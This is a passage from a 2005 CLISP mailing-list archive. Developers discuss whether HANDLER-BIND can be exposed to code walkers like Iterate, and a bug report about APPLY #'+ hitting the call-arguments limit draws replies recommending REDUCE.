X-Original-Date: Fri, 14 Jan 2005 09:37:19 -0500 > * Bruno Haible [2005-01-14 14:05:09 +0100]: > > Joerg-Cyril Hoehle wrote: >> Every program or library which does code-walking and comes across >> IGNORE-ERRORS or HANDLER-BIND in CLISP will barf on this. > > Yes. Like HANDLER-BIND, like COMPILER-LET, is a primitive that cannot > be emulated using macroexpansions in clisp. alas. > The purpose of the statement in CLHS 3.1.2.1.2.2 > > "An implementation is free to implement any macro operator as a special > operator, but only if an equivalent definition of the macro is also > provided." > > is obviously that code walkers will use the macro definition and not > have special code for HANDLER-BIND. But this macro definition cannot > do anything else than expand into something containing SYS::%HANDLER-BIND, > and at this point the code walker would barf as well. how about *HANDLER-CLUSTERS* (see commented-out code in src/condition.lisp)? we can make SYS::%HANDLER-BIND expand to the binding of *HANDLER-CLUSTERS*. since it is always inside (DECLARE (COMPILE)), this macroexpansion will never be used by CLISP, so the only result of this will be enabling the code walkers not to have CLISP-specific code. [oops - EXPAND-FORM will expand that macro inside LOCALLY...] -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From Joerg-Cyril.Hoehle@t-systems.com Fri Jan 14 07:28:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpTMw-0000nc-F5 for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 07:28:10 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CpTMq-0000Tf-Kl for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 07:28:08 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 14 Jan 2005 16:27:35 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Jan 2005 16:27:55 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302F3EAFA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 07:29:09 2005 X-Original-Date: Fri, 14 Jan 2005 16:27:49 +0100 Sam Steingold wrote: >how about *HANDLER-CLUSTERS* (see commented-out code in >src/condition.lisp)? >we can make SYS::%HANDLER-BIND expand to the binding of >*HANDLER-CLUSTERS*. [...] >this macroexpansion will never be used by CLISP I can't understand how this could possibly work. The macroexpanded code is what's going to be seen by the compiler (at least that's how Iterate has been working for over a decade), and there will be nothing left of handler-bind or sys::%handler-bind in the fully macroexpanded code that Iterate yields. So either *handler-clusters* fully works in running code (and preserves all CL test cases) or CLISP has to declare sys::%handler-bind as a special operator, being unable to present a working substitute. I already posted to cll a few month ago (forgot the subject), pointing to the possibility that code compiled from fully macroexpanded code may not be as efficient as the original (textual) one. My general impression from the small resulting thread was that it's accepted, as long as correctness is preserved. For history: Alas, CL doesn't have the displaced macros from earlier days (these were performing destructive substitution on the list tree representing the source code). With those, Iterate could have been able to replace COLLECT etc. macros deep inside the code without having to replace all surrounding code by its expansion. Displaced macros were not included in CL (or other Lisps) because of (very) bad experience with their destructive side effects. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Jan 14 09:19:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpV6d-0005q9-MG for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 09:19:27 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CpV6b-0004jj-Iz for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 09:19:27 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 18:18:57 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Jan 2005 18:19:18 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302F3EB1F@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 09:20:10 2005 X-Original-Date: Fri, 14 Jan 2005 18:19:16 +0100 Hi, >>this macroexpansion will never be used by CLISP >I can't understand how this could possibly work. Maybe what's confusing us is that we have different uses of code-walkers in mind. Maybe you think of something like XREF, which needs to find all functions, but does not care whether the macroexpanded code is slow or works at all. I'm thinking of somethig like the current implementation of Iterate, where the result of full macroexpansion of the body will be integrated into the result of Iterate's own macroexpansion, so a) it's essential that the expansion works and b) it's sad when macroexpanded code leads to worse performance than direct compilation of the original form (but not too surprising). Regards, Jorg Hohle. From tfb@OCF.Berkeley.EDU Fri Jan 14 13:34:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpZ5L-0000XD-M4 for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 13:34:23 -0800 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CpZ5L-0002uD-6x for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 13:34:23 -0800 Received: from conquest.OCF.Berkeley.EDU (IDENT:1@conquest.OCF.Berkeley.EDU [192.58.221.248]) by war.OCF.Berkeley.EDU (8.12.11/8.9.3) with ESMTP id j0ELY1Xm014999; Fri, 14 Jan 2005 13:34:02 -0800 (PST) (envelope-from tfb@conquest.OCF.Berkeley.EDU) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.7/8.11.7) id j0ELY0217745; Fri, 14 Jan 2005 13:34:00 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16872.15047.946067.848808@conquest.OCF.Berkeley.EDU> To: Bruno Haible Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net, iterate-devel@common-lisp.net Subject: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) In-Reply-To: <200501141405.09360.bruno@clisp.org> References: <5F9130612D07074EB0A0CE7E69FD7A0302F3E9B8@S4DE8PSAAGS.blf.telekom.de> <200501141405.09360.bruno@clisp.org> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Milter: Spamilter (Receiver: war.OCF.Berkeley.EDU; Sender-ip: 192.58.221.248; Sender-helo: conquest.ocf.berkeley.edu;) X-Spam-Status: No, score=-6.8 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham version=3.0.2-gr0 X-Spam-Checker-Version: SpamAssassin 3.0.2-gr0 (2004-11-16) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 13:35:11 2005 X-Original-Date: Fri, 14 Jan 2005 13:33:59 -0800 Bruno Haible writes: > Joerg-Cyril Hoehle wrote: > > Every program or library which does code-walking and comes across > > IGNORE-ERRORS or HANDLER-BIND in CLISP will barf on this. > > Yes. Like HANDLER-BIND, like COMPILER-LET, is a primitive that cannot be > emulated using macroexpansions in clisp. > > > Having a useful response from SPECIAL-OPERATOR-P would at least help these > > to correctly recognize the situation at hand. > > I don't agree. The purpose of the statement in CLHS 3.1.2.1.2.2 > > "An implementation is free to implement any macro operator as a special > operator, but only if an equivalent definition of the macro is also > provided." > > is obviously that code walkers will use the macro definition and not > have special code for HANDLER-BIND. But this macro definition cannot > do anything else than expand into something containing SYS::%HANDLER-BIND, > and at this point the code walker would barf as well. > > So the code walkers need a bit of #+clisp code for either HANDLER-BIND > or SYS::%HANDLER-BIND. The former is better, since HANDLER-BIND is a > documented symbol whose meaning won't change. For a fix to the immediate problem, why not change the syntax of sys::%handler-bind to match normal function call syntax: (%handler-bind body-thunk 'condition1 handler1 'condition2 handler2 ...) instead of (%handler-bind ((condition1 handler1) (condition2 handler2) ...) (funcall body-thunk)) Even if %handler-bind can't be written as a primitive function (I don't know CLISP's internals, so I'll have to take your word for it), this should be good enough for most code walkers. From bruno@clisp.org Fri Jan 14 13:49:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpZJd-00018S-2d for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 13:49:09 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CpZJX-0006DW-US for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 13:49:05 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id j0ELmXcQ014390; Fri, 14 Jan 2005 22:48:33 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j0ELmRcQ011286; Fri, 14 Jan 2005 22:48:27 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id CE6441BB7C; Fri, 14 Jan 2005 21:45:26 +0000 (UTC) From: Bruno Haible To: "Thomas F. Burdick" Subject: Re: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) User-Agent: KMail/1.5 Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net, iterate-devel@common-lisp.net References: <5F9130612D07074EB0A0CE7E69FD7A0302F3E9B8@S4DE8PSAAGS.blf.telekom.de> <200501141405.09360.bruno@clisp.org> <16872.15047.946067.848808@conquest.OCF.Berkeley.EDU> In-Reply-To: <16872.15047.946067.848808@conquest.OCF.Berkeley.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200501142245.20814.bruno@clisp.org> X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.2 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 13:50:02 2005 X-Original-Date: Fri, 14 Jan 2005 22:45:20 +0100 Thomas F. Burdick wrote: > For a fix to the immediate problem, why not change the syntax of > sys::%handler-bind to match normal function call syntax: > > (%handler-bind body-thunk 'condition1 handler1 'condition2 handler2 ...) > > instead of > > (%handler-bind ((condition1 handler1) (condition2 handler2) ...) > (funcall body-thunk)) > > Even if %handler-bind can't be written as a primitive function (I > don't know CLISP's internals, so I'll have to take your word for it), > this should be good enough for most code walkers. This is a good idea. Would you like to implement this and contribute it to clisp? (If you say no, I will do it.) Bruno From tfb@OCF.Berkeley.EDU Tue Jan 18 10:11:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CqxpO-0003b0-Jk for clisp-list@lists.sourceforge.net; Tue, 18 Jan 2005 10:11:42 -0800 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CqxpN-0005FP-90 for clisp-list@lists.sourceforge.net; Tue, 18 Jan 2005 10:11:42 -0800 Received: from conquest.OCF.Berkeley.EDU (IDENT:1@conquest.OCF.Berkeley.EDU [192.58.221.248]) by war.OCF.Berkeley.EDU (8.12.11/8.9.3) with ESMTP id j0IIBL5w011622; Tue, 18 Jan 2005 10:11:21 -0800 (PST) (envelope-from tfb@conquest.OCF.Berkeley.EDU) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.7/8.11.7) id j0IIBGu05310; Tue, 18 Jan 2005 10:11:16 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16877.20804.475569.733635@conquest.OCF.Berkeley.EDU> To: Bruno Haible Cc: "Thomas F. Burdick" , "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net, iterate-devel@common-lisp.net Subject: Re: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) In-Reply-To: <200501142245.20814.bruno@clisp.org> References: <5F9130612D07074EB0A0CE7E69FD7A0302F3E9B8@S4DE8PSAAGS.blf.telekom.de> <200501141405.09360.bruno@clisp.org> <16872.15047.946067.848808@conquest.OCF.Berkeley.EDU> <200501142245.20814.bruno@clisp.org> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Milter: Spamilter (Receiver: war.OCF.Berkeley.EDU; Sender-ip: 192.58.221.248; Sender-helo: conquest.ocf.berkeley.edu;) X-Spam-Status: No, score=-6.7 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham version=3.0.2-gr0 X-Spam-Checker-Version: SpamAssassin 3.0.2-gr0 (2004-11-16) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 18 10:12:15 2005 X-Original-Date: Tue, 18 Jan 2005 10:11:16 -0800 Bruno Haible writes: > Thomas F. Burdick wrote: > > For a fix to the immediate problem, why not change the syntax of > > sys::%handler-bind to match normal function call syntax: > > > > (%handler-bind body-thunk 'condition1 handler1 'condition2 handler2 ...) > > > > instead of > > > > (%handler-bind ((condition1 handler1) (condition2 handler2) ...) > > (funcall body-thunk)) > > > > Even if %handler-bind can't be written as a primitive function (I > > don't know CLISP's internals, so I'll have to take your word for it), > > this should be good enough for most code walkers. > > This is a good idea. Would you like to implement this and contribute it to > clisp? (If you say no, I will do it.) Nope, I have no hacking time at the moment, and when I get some, I'm going to use it for pending commitments to SBCL. I would like to see CLISP be Iterate-friendly, though. From caprile@itc.it Wed Jan 19 06:12:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrGZ2-0007si-Rs for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 06:12:04 -0800 Received: from ns.itc.it ([217.77.80.3] helo=mail.itc.it) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CrGZ2-0003sO-6U for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 06:12:04 -0800 Received: from ntmain.itc.it ([10.0.20.40]) by mail.itc.it (8.12.11/8.12.11) with SMTP id j0JEBvDH008385 for ; Wed, 19 Jan 2005 15:11:57 +0100 Received: from orchestra.itc.it ([10.0.10.11]) by ntmain.itc.it (SMSSMTP 4.0.4.64) with SMTP id M2005011915115728324 for ; Wed, 19 Jan 2005 15:11:57 +0100 Received: from morante.itc.it. (morante [10.40.0.127]) by orchestra.itc.it (8.12.11/8.12.11) with ESMTP id j0JEBv5M013206 for ; Wed, 19 Jan 2005 15:11:57 +0100 Received: (from caprile@localhost) by morante.itc.it. (8.11.6/8.11.2) id j0JEBuj26003 for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 15:11:56 +0100 From: Bruno Caprile To: CLISP List Message-ID: <20050119151156.A25986@morante.itc.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] bug report: too many arguments to + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 19 06:15:32 2005 X-Original-Date: Wed, 19 Jan 2005 15:11:56 +0100 hello everybody; clisp version 2.33.2 appears to show a problem when you try to add more than 4095 numbers (e.g., integers) as in (progn (setq l nil) (dotimes (i 4096) (push i l)) (apply #'+ l) ) The message error displayed on breaking into the debugger is: *** - APPLY: too many arguments given to + Now, 4096 is a quite suspect number isn't it? (some #define BUF_SIZE of sorts?). Oddily enough, also, function #'- works at 4096, but fails at 4097 .... Much older version 2.27 does not show the problem: #'+ happily digests hundreds of thousands of arguments, and when it finally fails (say at 500000), it does so because of stack overflow. *** - Lisp stack overflow. RESET In fact, this is more in tune with a recursive implementation of #'+. - Has anyone heard of this before? - Anyone able to confirm these behaviours? thanks in advance; bruno From edi@agharta.de Wed Jan 19 08:55:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrJ6l-00081h-Sp for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 08:55:03 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CrJ6k-0006ac-70 for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 08:55:03 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id A0B782CC11E; Wed, 19 Jan 2005 17:31:04 +0100 (CET) To: Bruno Caprile Cc: CLISP List Subject: Re: [clisp-list] bug report: too many arguments to + References: <20050119151156.A25986@morante.itc.it> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <20050119151156.A25986@morante.itc.it> (Bruno Caprile's message of "Wed, 19 Jan 2005 15:11:56 +0100") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 19 08:56:13 2005 X-Original-Date: Wed, 19 Jan 2005 17:31:02 +0100 On Wed, 19 Jan 2005 15:11:56 +0100, Bruno Caprile wrote: > clisp version 2.33.2 appears to show a problem when you try to add > more than 4095 numbers (e.g., integers) as in > > (progn > > (setq l nil) The behaviour at this point is undefined unless you've previously defined L with DEFPARAMETER or DEFVAR. > (dotimes (i 4096) > (push i l)) > > (apply #'+ l) > > ) > > The message error displayed on breaking into the debugger is: > > *** - APPLY: too many arguments given to + > > Now, 4096 is a quite suspect number isn't it? (some #define BUF_SIZE > of sorts?). Oddily enough, also, function #'- works at 4096, but > fails at 4097 .... Try REDUCE instead: (let ((l (loop for i below 20000 collect i))) (reduce #'+ l)) Edi. From sds@gnu.org Wed Jan 19 09:14:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrJPb-0000W8-7c for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 09:14:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CrJPX-0000E8-7w for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 09:14:31 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0JHEAPp026927; Wed, 19 Jan 2005 12:14:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Caprile Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050119151156.A25986@morante.itc.it> (Bruno Caprile's message of "Wed, 19 Jan 2005 15:11:56 +0100") References: <20050119151156.A25986@morante.itc.it> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Caprile Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug report: too many arguments to + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 19 09:15:16 2005 X-Original-Date: Wed, 19 Jan 2005 12:14:10 -0500 > * Bruno Caprile [2005-01-19 15:11:56 +0100]: > > clisp version 2.33.2 appears to show a problem when you try to add > more than 4095 numbers (e.g., integers) as in > > (progn > > (setq l nil) > > (dotimes (i 4096) > (push i l)) > > (apply #'+ l) > > ) CALL-ARGUMENTS-LIMIT ANSI CL requires that CLISP guarantees that it will always accept this many arguments. No guarantee could have been made for the previous value. if you are hitting this limit, it means that you want to use REDUCE. -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From lisp-clisp-list@m.gmane.org Wed Jan 19 10:32:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrKdL-0004mI-HJ for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 10:32:47 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CrKdJ-0008Ar-VI for clisp-list@lists.sourceforge.net; Wed, 19 Jan 2005 10:32:47 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CrKdH-0000sl-00 for ; Wed, 19 Jan 2005 19:32:43 +0100 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 19 Jan 2005 19:32:43 +0100 Received: from russell_mcmanus by dsl254-123-194.nyc1.dsl.speakeasy.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 19 Jan 2005 19:32:43 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Russell McManus Lines: 28 Message-ID: <87fz0x9wj6.fsf@thelonious.dyndns.org> References: <20050119151156.A25986@morante.itc.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dsl254-123-194.nyc1.dsl.speakeasy.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) Cancel-Lock: sha1:BB+kqsSeEEjrZmutr9AxXKmBp7w= X-Spam-Score: 2.7 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug report: too many arguments to + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 19 10:33:19 2005 X-Original-Date: Wed, 19 Jan 2005 12:08:29 -0500 Bruno Caprile writes: > hello everybody; > > clisp version 2.33.2 appears to show a problem when you try to add > more than 4095 numbers (e.g., integers) as in > > (progn > > (setq l nil) > > (dotimes (i 4096) > (push i l)) > > (apply #'+ l) > > ) > > > The message error displayed on breaking into the debugger is: > > *** - APPLY: too many arguments given to + use reduce instead of apply in situations like this -russ From caprile@itc.it Thu Jan 20 00:35:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CrXnI-0007rr-Ga for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 00:35:56 -0800 Received: from ns.itc.it ([217.77.80.3] helo=mail.itc.it) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CrXnD-00086v-JL for clisp-list@lists.sourceforge.net; Thu, 20 Jan 2005 00:35:56 -0800 Received: from ntmain.itc.it ([10.0.20.40]) by mail.itc.it (8.12.11/8.12.11) with SMTP id j0K8Zm4L025256 for ; Thu, 20 Jan 2005 09:35:48 +0100 Received: from orchestra.itc.it ([10.0.10.11]) by ntmain.itc.it 